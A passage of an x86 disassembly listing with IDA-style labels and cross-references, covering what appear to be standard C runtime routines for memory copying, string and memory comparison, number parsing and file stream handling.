ptr loc_422548[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_42244C: ; CODE XREF: sub_4223F0+31j ; sub_4223F0+8Ej ... jmp off_4224CC[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_422460 dd offset loc_42248C dd offset loc_4224B0 ; --------------------------------------------------------------------------- loc_422460: ; DATA XREF: sub_4223F0+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_42244C rep movsd jmp off_422538[edx*4] ; --------------------------------------------------------------------------- align 4 loc_42248C: ; DATA XREF: sub_4223F0+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_42244C rep movsd jmp off_422538[edx*4] ; --------------------------------------------------------------------------- align 10h loc_4224B0: ; DATA XREF: sub_4223F0+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_42244C rep movsd jmp off_422538[edx*4] ; --------------------------------------------------------------------------- align 4 off_4224CC dd offset loc_42252F ; DATA XREF: sub_4223F0:loc_42244Cr dd offset loc_42251C dd offset loc_422514 dd offset loc_42250C dd offset loc_422504 dd offset loc_4224FC dd offset loc_4224F4 dd offset loc_4224EC ; --------------------------------------------------------------------------- loc_4224EC: ; CODE XREF: sub_4223F0:loc_42244Cj ; DATA XREF: sub_4223F0+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_4224F4: ; CODE XREF: sub_4223F0:loc_42244Cj ; DATA XREF: sub_4223F0+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_4224FC: ; CODE XREF: sub_4223F0:loc_42244Cj ; DATA XREF: sub_4223F0+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_422504: ; CODE XREF: sub_4223F0:loc_42244Cj ; DATA XREF: sub_4223F0+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_42250C: ; CODE XREF: sub_4223F0:loc_42244Cj ; DATA XREF: sub_4223F0+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_422514: ; CODE XREF: sub_4223F0:loc_42244Cj ; DATA XREF: sub_4223F0+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_42251C: ; CODE XREF: sub_4223F0:loc_42244Cj ; DATA XREF: sub_4223F0+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_42252F: ; CODE XREF: sub_4223F0:loc_42244Cj ; DATA XREF: sub_4223F0:off_4224CCo jmp off_422538[edx*4] ; --------------------------------------------------------------------------- align 4 off_422538 dd offset loc_422548 ; DATA XREF: sub_4223F0+35r ; sub_4223F0+92r ... dd offset loc_422550 dd offset loc_42255C dd offset loc_422570 ; --------------------------------------------------------------------------- loc_422548: ; CODE XREF: sub_4223F0+35j ; sub_4223F0+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_422550: ; CODE XREF: sub_4223F0+35j ; sub_4223F0+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_42255C: ; CODE XREF: sub_4223F0+35j ; sub_4223F0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_422570: ; CODE XREF: sub_4223F0+35j ; sub_4223F0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_422588: ; CODE XREF: sub_4223F0+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_4225BC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_4225B0 std rep movsd cld jmp off_4226D0[edx*4] ; --------------------------------------------------------------------------- align 10h loc_4225B0: ; CODE XREF: sub_4223F0+1B1j ; sub_4223F0+208j ... neg ecx jmp off_422680[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_4225BC: ; CODE XREF: sub_4223F0+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_4225D4 and eax, 3 sub ecx, eax jmp dword ptr loc_4225D4+4[eax*4] ; --------------------------------------------------------------------------- loc_4225D4: ; CODE XREF: sub_4223F0+1D6j ; DATA XREF: sub_4223F0+1DDr jmp off_4226D0[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_4225E7+1 ; --------------------------------------------------------------------------- or [esi], ah inc edx add [eax], dh db 26h inc edx loc_4225E7: ; DATA XREF: sub_4223F0+1ECo add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_4225B0 std rep movsd cld jmp off_4226D0[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_4225B0 std rep movsd cld jmp off_4226D0[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_4225B0 std rep movsd cld jmp off_4226D0[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_422684 dd offset loc_42268C dd offset loc_422694 dd offset loc_42269C dd offset loc_4226A4 dd offset loc_4226AC dd offset loc_4226B4 off_422680 dd offset loc_4226C7 ; DATA XREF: sub_4223F0+1C2r ; --------------------------------------------------------------------------- loc_422684: ; DATA XREF: sub_4223F0+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_42268C: ; DATA XREF: sub_4223F0+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_422694: ; DATA XREF: sub_4223F0+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_42269C: ; DATA XREF: sub_4223F0+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_4226A4: ; DATA XREF: sub_4223F0+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_4226AC: ; DATA XREF: sub_4223F0+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_4226B4: ; DATA XREF: sub_4223F0+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_4226C7: ; CODE XREF: sub_4223F0+1C2j ; DATA XREF: sub_4223F0:off_422680o jmp off_4226D0[edx*4] ; --------------------------------------------------------------------------- align 10h off_4226D0 dd offset loc_4226E0 ; DATA XREF: sub_4223F0+1B7r ; sub_4223F0:loc_4225D4r ... dd offset loc_4226E8 dd offset loc_4226F8 dd offset loc_42270C ; --------------------------------------------------------------------------- loc_4226E0: ; CODE XREF: sub_4223F0+1B7j ; sub_4223F0:loc_4225D4j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4226E8: ; CODE XREF: sub_4223F0+1B7j ; sub_4223F0:loc_4225D4j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4226F8: ; CODE XREF: sub_4223F0+1B7j ; sub_4223F0:loc_4225D4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_42270C: ; CODE XREF: sub_4223F0+1B7j ; sub_4223F0:loc_4225D4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_4223F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422725 proc near ; CODE XREF: sub_4015FC+44p ; sub_402190+27Ap ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] mov [ebp+var_14], 49h push eax mov [ebp+var_18], eax mov [ebp+var_20], eax call sub_422120 mov [ebp+var_1C], eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_20] push [ebp+arg_4] push eax call sub_425A04 add esp, 10h leave retn sub_422725 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_422760 proc near ; CODE XREF: sub_4016B4+1Bp ; sub_4016B4+39p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_4227AC loc_422770: ; CODE XREF: sub_422760+3Cj ; sub_422760+66j ... mov eax, [edx] cmp al, [ecx] jnz short loc_4227A4 or al, al jz short loc_4227A0 cmp ah, [ecx+1] jnz short loc_4227A4 or ah, ah jz short loc_4227A0 shr eax, 10h cmp al, [ecx+2] jnz short loc_4227A4 or al, al jz short loc_4227A0 cmp ah, [ecx+3] jnz short loc_4227A4 add ecx, 4 add edx, 4 or ah, ah jnz short loc_422770 mov edi, edi loc_4227A0: ; CODE XREF: sub_422760+18j ; sub_422760+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_4227A4: ; CODE XREF: sub_422760+14j ; sub_422760+1Dj ... sbb eax, eax shl eax, 1 inc eax retn ; --------------------------------------------------------------------------- align 4 loc_4227AC: ; CODE XREF: sub_422760+Ej test edx, 1 jz short loc_4227C8 mov al, [edx] inc edx cmp al, [ecx] jnz short loc_4227A4 inc ecx or al, al jz short loc_4227A0 test edx, 2 jz short loc_422770 loc_4227C8: ; CODE XREF: sub_422760+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_4227A4 or al, al jz short loc_4227A0 cmp ah, [ecx+1] jnz short loc_4227A4 or ah, ah jz short loc_4227A0 add ecx, 2 jmp short loc_422770 sub_422760 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4227F0 proc near ; CODE XREF: sub_401A7A+1Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] test eax, eax jz short locret_42283C mov edx, [esp+arg_0] push esi push edi mov esi, edx mov edi, [esp+8+arg_4] or edx, edi and edx, 3 jz short loc_42283D test eax, 1 jz short loc_42281D mov cl, [esi] cmp cl, [edi] jnz short loc_42286A inc esi inc edi dec eax jz short loc_42283A loc_42281D: ; CODE XREF: sub_4227F0+20j ; sub_4227F0+48j mov cl, [esi] mov dl, [edi] cmp cl, dl jnz short loc_42286A mov cl, [esi+1] mov dl, [edi+1] cmp cl, dl jnz short loc_42286A add edi, 2 add esi, 2 sub eax, 2 jnz short loc_42281D loc_42283A: ; CODE XREF: sub_4227F0+2Bj ; sub_4227F0+84j pop edi pop esi locret_42283C: ; CODE XREF: sub_4227F0+6j retn ; --------------------------------------------------------------------------- loc_42283D: ; CODE XREF: sub_4227F0+19j mov ecx, eax and eax, 3 shr ecx, 2 jz short loc_422872 repe cmpsd jz short loc_422872 mov ecx, [esi-4] mov edx, [edi-4] cmp cl, dl jnz short loc_422865 cmp ch, dh jnz short loc_422865 shr ecx, 10h shr edx, 10h cmp cl, dl jnz short loc_422865 cmp ch, dh loc_422865: ; CODE XREF: sub_4227F0+63j ; sub_4227F0+67j ... mov eax, 0 loc_42286A: ; CODE XREF: sub_4227F0+26j ; sub_4227F0+33j ... sbb eax, eax pop edi sbb eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_422872: ; CODE XREF: sub_4227F0+55j ; sub_4227F0+59j test eax, eax jz short loc_42283A mov edx, [esi] mov ecx, [edi] cmp dl, cl jnz short loc_422865 dec eax jz short loc_422899 cmp dh, ch jnz short loc_422865 dec eax jz short loc_422899 and ecx, 0FF0000h and edx, 0FF0000h cmp edx, ecx jnz short loc_422865 dec eax loc_422899: ; CODE XREF: sub_4227F0+8Fj ; sub_4227F0+96j pop edi pop esi retn sub_4227F0 endp ; =============== S U B R O U T I N E ======================================= sub_42289C proc near ; CODE XREF: sub_427054+11Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_4228B3 add esp, 10h retn sub_42289C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4228B3 proc near ; CODE XREF: sub_42289C+Ep ; sub_422AB8+Ep var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0Ch push ebx and [ebp+var_8], 0 push esi push edi mov edi, [ebp+arg_0] mov bl, [edi] lea esi, [edi+1] mov [ebp+var_4], esi loc_4228CB: ; CODE XREF: sub_4228B3+46j cmp dword_449A44, 1 jle short loc_4228E3 movzx eax, bl push 8 push eax call sub_42653A pop ecx pop ecx jmp short loc_4228F2 ; --------------------------------------------------------------------------- loc_4228E3: ; CODE XREF: sub_4228B3+1Fj mov ecx, off_449838 movzx eax, bl mov al, [ecx+eax*2] and eax, 8 loc_4228F2: ; CODE XREF: sub_4228B3+2Ej test eax, eax jz short loc_4228FB mov bl, [esi] inc esi jmp short loc_4228CB ; --------------------------------------------------------------------------- loc_4228FB: ; CODE XREF: sub_4228B3+41j cmp bl, 2Dh mov [ebp+var_4], esi jnz short loc_422909 or [ebp+arg_C], 2 jmp short loc_42290E ; --------------------------------------------------------------------------- loc_422909: ; CODE XREF: sub_4228B3+4Ej cmp bl, 2Bh jnz short loc_422914 loc_42290E: ; CODE XREF: sub_4228B3+54j mov bl, [esi] inc esi mov [ebp+var_4], esi loc_422914: ; CODE XREF: sub_4228B3+59j mov eax, [ebp+arg_8] test eax, eax jl loc_422AA8 cmp eax, 1 jz loc_422AA8 cmp eax, 24h jg loc_422AA8 push 10h test eax, eax pop ecx jnz short loc_42295C cmp bl, 30h jz short loc_422946 mov [ebp+arg_8], 0Ah jmp short loc_422978 ; --------------------------------------------------------------------------- loc_422946: ; CODE XREF: sub_4228B3+88j mov al, [esi] cmp al, 78h jz short loc_422959 cmp al, 58h jz short loc_422959 mov [ebp+arg_8], 8 jmp short loc_422978 ; --------------------------------------------------------------------------- loc_422959: ; CODE XREF: sub_4228B3+97j ; sub_4228B3+9Bj mov [ebp+arg_8], ecx loc_42295C: ; CODE XREF: sub_4228B3+83j cmp [ebp+arg_8], ecx jnz short loc_422978 cmp bl, 30h jnz short loc_422978 mov al, [esi] cmp al, 78h jz short loc_422970 cmp al, 58h jnz short loc_422978 loc_422970: ; CODE XREF: sub_4228B3+B7j mov bl, [esi+1] inc esi inc esi mov [ebp+var_4], esi loc_422978: ; CODE XREF: sub_4228B3+91j ; sub_4228B3+A4j ... or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] mov edi, 103h mov [ebp+var_C], eax loc_422988: ; CODE XREF: sub_4228B3+16Cj cmp dword_449A44, 1 movzx esi, bl jle short loc_4229A0 push 4 push esi call sub_42653A pop ecx pop ecx jmp short loc_4229AB ; --------------------------------------------------------------------------- loc_4229A0: ; CODE XREF: sub_4228B3+DFj mov eax, off_449838 mov al, [eax+esi*2] and eax, 4 loc_4229AB: ; CODE XREF: sub_4228B3+EBj test eax, eax jz short loc_4229B7 movsx ecx, bl sub ecx, 30h jmp short loc_4229E9 ; --------------------------------------------------------------------------- loc_4229B7: ; CODE XREF: sub_4228B3+FAj cmp dword_449A44, 1 jle short loc_4229CB push edi push esi call sub_42653A pop ecx pop ecx jmp short loc_4229D6 ; --------------------------------------------------------------------------- loc_4229CB: ; CODE XREF: sub_4228B3+10Bj mov eax, off_449838 mov ax, [eax+esi*2] and eax, edi loc_4229D6: ; CODE XREF: sub_4228B3+116j test eax, eax jz short loc_422A24 movsx eax, bl push eax call sub_4248E0 pop ecx mov ecx, eax sub ecx, 37h loc_4229E9: ; CODE XREF: sub_4228B3+102j cmp ecx, [ebp+arg_8] jnb short loc_422A24 mov esi, [ebp+var_8] or [ebp+arg_C], 8 cmp esi, [ebp+var_C] jb short loc_422A0E jnz short loc_422A08 or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] cmp ecx, edx jbe short loc_422A0E loc_422A08: ; CODE XREF: sub_4228B3+147j or [ebp+arg_C], 4 jmp short loc_422A17 ; --------------------------------------------------------------------------- loc_422A0E: ; CODE XREF: sub_4228B3+145j ; sub_4228B3+153j imul esi, [ebp+arg_8] add esi, ecx mov [ebp+var_8], esi loc_422A17: ; CODE XREF: sub_4228B3+159j mov eax, [ebp+var_4] inc [ebp+var_4] mov bl, [eax] jmp loc_422988 ; --------------------------------------------------------------------------- loc_422A24: ; CODE XREF: sub_4228B3+125j ; sub_4228B3+139j mov eax, [ebp+arg_C] dec [ebp+var_4] mov ebx, [ebp+arg_4] test al, 8 jnz short loc_422A41 test ebx, ebx jz short loc_422A3B mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_422A3B: ; CODE XREF: sub_4228B3+180j and [ebp+var_8], 0 jmp short loc_422A8C ; --------------------------------------------------------------------------- loc_422A41: ; CODE XREF: sub_4228B3+17Cj test al, 4 mov esi, 7FFFFFFFh jnz short loc_422A65 test al, 1 jnz short loc_422A8C and eax, 2 jz short loc_422A5C cmp [ebp+var_8], 80000000h ja short loc_422A65 loc_422A5C: ; CODE XREF: sub_4228B3+19Ej test eax, eax jnz short loc_422A8C cmp [ebp+var_8], esi jbe short loc_422A8C loc_422A65: ; CODE XREF: sub_4228B3+195j ; sub_4228B3+1A7j call sub_426528 test byte ptr [ebp+arg_C], 1 mov dword ptr [eax], 22h jz short loc_422A7C or [ebp+var_8], 0FFFFFFFFh jmp short loc_422A8C ; --------------------------------------------------------------------------- loc_422A7C: ; CODE XREF: sub_4228B3+1C1j mov eax, [ebp+arg_C] and al, 2 neg al sbb eax, eax neg eax add eax, esi mov [ebp+var_8], eax loc_422A8C: ; CODE XREF: sub_4228B3+18Cj ; sub_4228B3+199j ... test ebx, ebx jz short loc_422A95 mov eax, [ebp+var_4] mov [ebx], eax loc_422A95: ; CODE XREF: sub_4228B3+1DBj test byte ptr [ebp+arg_C], 2 jz short loc_422AA3 mov eax, [ebp+var_8] neg eax mov [ebp+var_8], eax loc_422AA3: ; CODE XREF: sub_4228B3+1E6j mov eax, [ebp+var_8] jmp short loc_422AB3 ; --------------------------------------------------------------------------- loc_422AA8: ; CODE XREF: sub_4228B3+66j ; sub_4228B3+6Fj ... mov eax, [ebp+arg_4] test eax, eax jz short loc_422AB1 mov [eax], edi loc_422AB1: ; CODE XREF: sub_4228B3+1FAj xor eax, eax loc_422AB3: ; CODE XREF: sub_4228B3+1F3j pop edi pop esi pop ebx leave retn sub_4228B3 endp ; =============== S U B R O U T I N E ======================================= sub_422AB8 proc near ; CODE XREF: sub_402190+381p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_4228B3 add esp, 10h retn sub_422AB8 endp ; =============== S U B R O U T I N E ======================================= sub_422ACF proc near ; CODE XREF: sub_422B5A+4p ; sub_42D078+1C1p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] loc_422AD7: ; CODE XREF: sub_422ACF+34j cmp dword_449A44, 1 jle short loc_422AEF movzx eax, byte ptr [edi] push 8 push eax call sub_42653A pop ecx pop ecx jmp short loc_422AFE ; --------------------------------------------------------------------------- loc_422AEF: ; CODE XREF: sub_422ACF+Fj movzx eax, byte ptr [edi] mov ecx, off_449838 mov al, [ecx+eax*2] and eax, 8 loc_422AFE: ; CODE XREF: sub_422ACF+1Ej test eax, eax jz short loc_422B05 inc edi jmp short loc_422AD7 ; --------------------------------------------------------------------------- loc_422B05: ; CODE XREF: sub_422ACF+31j movzx esi, byte ptr [edi] inc edi cmp esi, 2Dh mov ebp, esi jz short loc_422B15 cmp esi, 2Bh jnz short loc_422B19 loc_422B15: ; CODE XREF: sub_422ACF+3Fj movzx esi, byte ptr [edi] inc edi loc_422B19: ; CODE XREF: sub_422ACF+44j xor ebx, ebx loc_422B1B: ; CODE XREF: sub_422ACF+7Bj cmp dword_449A44, 1 jle short loc_422B30 push 4 push esi call sub_42653A pop ecx pop ecx jmp short loc_422B3B ; --------------------------------------------------------------------------- loc_422B30: ; CODE XREF: sub_422ACF+53j mov eax, off_449838 mov al, [eax+esi*2] and eax, 4 loc_422B3B: ; CODE XREF: sub_422ACF+5Fj test eax, eax jz short loc_422B4C lea eax, [ebx+ebx*4] lea ebx, [esi+eax*2-30h] movzx esi, byte ptr [edi] inc edi jmp short loc_422B1B ; --------------------------------------------------------------------------- loc_422B4C: ; CODE XREF: sub_422ACF+6Ej cmp ebp, 2Dh mov eax, ebx jnz short loc_422B55 neg eax loc_422B55: ; CODE XREF: sub_422ACF+82j pop edi pop esi pop ebp pop ebx retn sub_422ACF endp ; =============== S U B R O U T I N E ======================================= sub_422B5A proc near ; CODE XREF: sub_402190+33Dp ; sub_402190+34Bp ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_422ACF pop ecx retn sub_422B5A endp ; =============== S U B R O U T I N E ======================================= sub_422B65 proc near ; CODE XREF: sub_40274D+B0p ; sub_416C0B+1EAp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi or edi, 0FFFFFFFFh test byte ptr [esi+0Ch], 40h jz short loc_422B7A and dword ptr [esi+0Ch], 0 jmp short loc_422B91 ; --------------------------------------------------------------------------- loc_422B7A: ; CODE XREF: sub_422B65+Dj push esi call sub_42483C push esi call sub_422B96 push esi mov edi, eax call sub_42488E add esp, 0Ch loc_422B91: ; CODE XREF: sub_422B65+13j mov eax, edi pop edi pop esi retn sub_422B65 endp ; =============== S U B R O U T I N E ======================================= sub_422B96 proc near ; CODE XREF: sub_422B65+1Cp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi or edi, 0FFFFFFFFh test byte ptr [esi+0Ch], 83h jz short loc_422BD9 push esi call sub_42671D push esi mov edi, eax call sub_4266C4 push dword ptr [esi+10h] call sub_4265E4 add esp, 0Ch test eax, eax jge short loc_422BC7 or edi, 0FFFFFFFFh jmp short loc_422BD9 ; --------------------------------------------------------------------------- loc_422BC7: ; CODE XREF: sub_422B96+2Aj mov eax, [esi+1Ch] test eax, eax jz short loc_422BD9 push eax call sub_4230B3 and dword ptr [esi+1Ch], 0 pop ecx loc_422BD9: ; CODE XREF: sub_422B96+Dj ; sub_422B96+2Fj ... and dword ptr [esi+0Ch], 0 mov eax, edi pop edi pop esi retn sub_422B96 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422BE2 proc near ; CODE XREF: sub_40274D+83p ; sub_417583+26p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push [ebp+arg_C] call sub_42483C push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_422C11 push [ebp+arg_C] mov esi, eax call sub_42488E add esp, 18h mov eax, esi pop esi pop ebp retn sub_422BE2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422C11 proc near ; CODE XREF: sub_422BE2+18p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov ecx, edi test edi, edi mov [ebp+var_4], edi mov [ebp+arg_0], ecx jnz short loc_422C35 xor eax, eax jmp loc_422CDE ; --------------------------------------------------------------------------- loc_422C35: ; CODE XREF: sub_422C11+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_422C48 mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_422C54 ; --------------------------------------------------------------------------- loc_422C48: ; CODE XREF: sub_422C11+2Dj mov [ebp+arg_C], 1000h jmp short loc_422C54 ; --------------------------------------------------------------------------- loc_422C51: ; CODE XREF: sub_422C11+C4j mov ecx, [ebp+arg_0] loc_422C54: ; CODE XREF: sub_422C11+35j ; sub_422C11+3Ej test word ptr [esi+0Ch], 10Ch jz short loc_422C86 mov eax, [esi+4] test eax, eax jz short loc_422C86 cmp ecx, eax mov edi, ecx jb short loc_422C6B mov edi, eax loc_422C6B: ; CODE XREF: sub_422C11+56j push edi push dword ptr [esi] push ebx call sub_4223F0 sub [ebp+arg_0], edi sub [esi+4], edi add [esi], edi add esp, 0Ch add ebx, edi mov edi, [ebp+var_4] jmp short loc_422CD1 ; --------------------------------------------------------------------------- loc_422C86: ; CODE XREF: sub_422C11+49j ; sub_422C11+50j cmp ecx, [ebp+arg_C] jb short loc_422CB9 cmp [ebp+arg_C], 0 mov eax, ecx jz short loc_422C9C xor edx, edx div [ebp+arg_C] mov eax, ecx sub eax, edx loc_422C9C: ; CODE XREF: sub_422C11+80j push eax push ebx push dword ptr [esi+10h] call sub_426902 add esp, 0Ch test eax, eax jz short loc_422CE3 cmp eax, 0FFFFFFFFh jz short loc_422CE9 sub [ebp+arg_0], eax add ebx, eax jmp short loc_422CD1 ; --------------------------------------------------------------------------- loc_422CB9: ; CODE XREF: sub_422C11+78j push esi call sub_426826 cmp eax, 0FFFFFFFFh pop ecx jz short loc_422CED mov [ebx], al mov eax, [esi+18h] inc ebx dec [ebp+arg_0] mov [ebp+arg_C], eax loc_422CD1: ; CODE XREF: sub_422C11+73j ; sub_422C11+A6j cmp [ebp+arg_0], 0 jnz loc_422C51 mov eax, [ebp+arg_8] loc_422CDE: ; CODE XREF: sub_422C11+1Fj ; sub_422C11+E6j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_422CE3: ; CODE XREF: sub_422C11+9Aj or dword ptr [esi+0Ch], 10h jmp short loc_422CED ; --------------------------------------------------------------------------- loc_422CE9: ; CODE XREF: sub_422C11+9Fj or dword ptr [esi+0Ch], 20h loc_422CED: ; CODE XREF: sub_422C11+B2j ; sub_422C11+D6j mov eax, edi xor edx, edx sub eax, [ebp+arg_0] div [ebp+arg_4] jmp short loc_422CDE sub_422C11 endp ; =============== S U B R O U T I N E ======================================= sub_422CF9 proc near ; CODE XREF: sub_40274D+4Dp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi push esi call sub_42483C push esi call sub_422D1B push esi mov edi, eax call sub_42488E add esp, 0Ch mov eax, edi pop edi pop esi retn sub_422CF9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422D1B proc near ; CODE XREF: sub_422CF9+Dp ; sub_422EA8+2Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+arg_0] xor ebx, ebx mov esi, [edi+10h] cmp [edi+4], ebx mov [ebp+var_C], esi jge short loc_422D37 mov [edi+4], ebx loc_422D37: ; CODE XREF: sub_422D1B+17j push 1 push ebx push esi call sub_426CFC add esp, 0Ch cmp eax, ebx mov [ebp+var_4], eax jl short loc_422DA9 mov ecx, [edi+0Ch] test cx, 108h jnz short loc_422D5C sub eax, [edi+4] jmp loc_422E77 ; --------------------------------------------------------------------------- loc_422D5C: ; CODE XREF: sub_422D1B+37j mov eax, [edi] mov edx, [edi+8] mov ebx, eax sub ebx, edx test cl, 3 mov [ebp+var_8], ebx jz short loc_422D99 mov ebx, esi mov ecx, esi sar ebx, 5 and ecx, 1Fh mov ebx, dword_6319E0[ebx*4] lea ecx, [ecx+ecx*8] test byte ptr [ebx+ecx*4+4], 80h jz short loc_422DB1 mov ecx, edx loc_422D8A: ; CODE XREF: sub_422D1B+7Cj cmp ecx, eax jnb short loc_422DB1 cmp byte ptr [ecx], 0Ah jnz short loc_422D96 inc [ebp+var_8] loc_422D96: ; CODE XREF: sub_422D1B+76j inc ecx jmp short loc_422D8A ; --------------------------------------------------------------------------- loc_422D99: ; CODE XREF: sub_422D1B+50j test cl, 80h jnz short loc_422DB1 call sub_426528 mov dword ptr [eax], 16h loc_422DA9: ; CODE XREF: sub_422D1B+2Dj or eax, 0FFFFFFFFh jmp loc_422E77 ; --------------------------------------------------------------------------- loc_422DB1: ; CODE XREF: sub_422D1B+6Bj ; sub_422D1B+71j ... cmp [ebp+var_4], 0 jnz short loc_422DBF mov eax, [ebp+var_8] jmp loc_422E77 ; --------------------------------------------------------------------------- loc_422DBF: ; CODE XREF: sub_422D1B+9Aj test byte ptr [edi+0Ch], 1 jz loc_422E6F mov ecx, [edi+4] test ecx, ecx jnz short loc_422DD8 and [ebp+var_8], ecx jmp loc_422E6F ; --------------------------------------------------------------------------- loc_422DD8: ; CODE XREF: sub_422D1B+B3j sub eax, edx 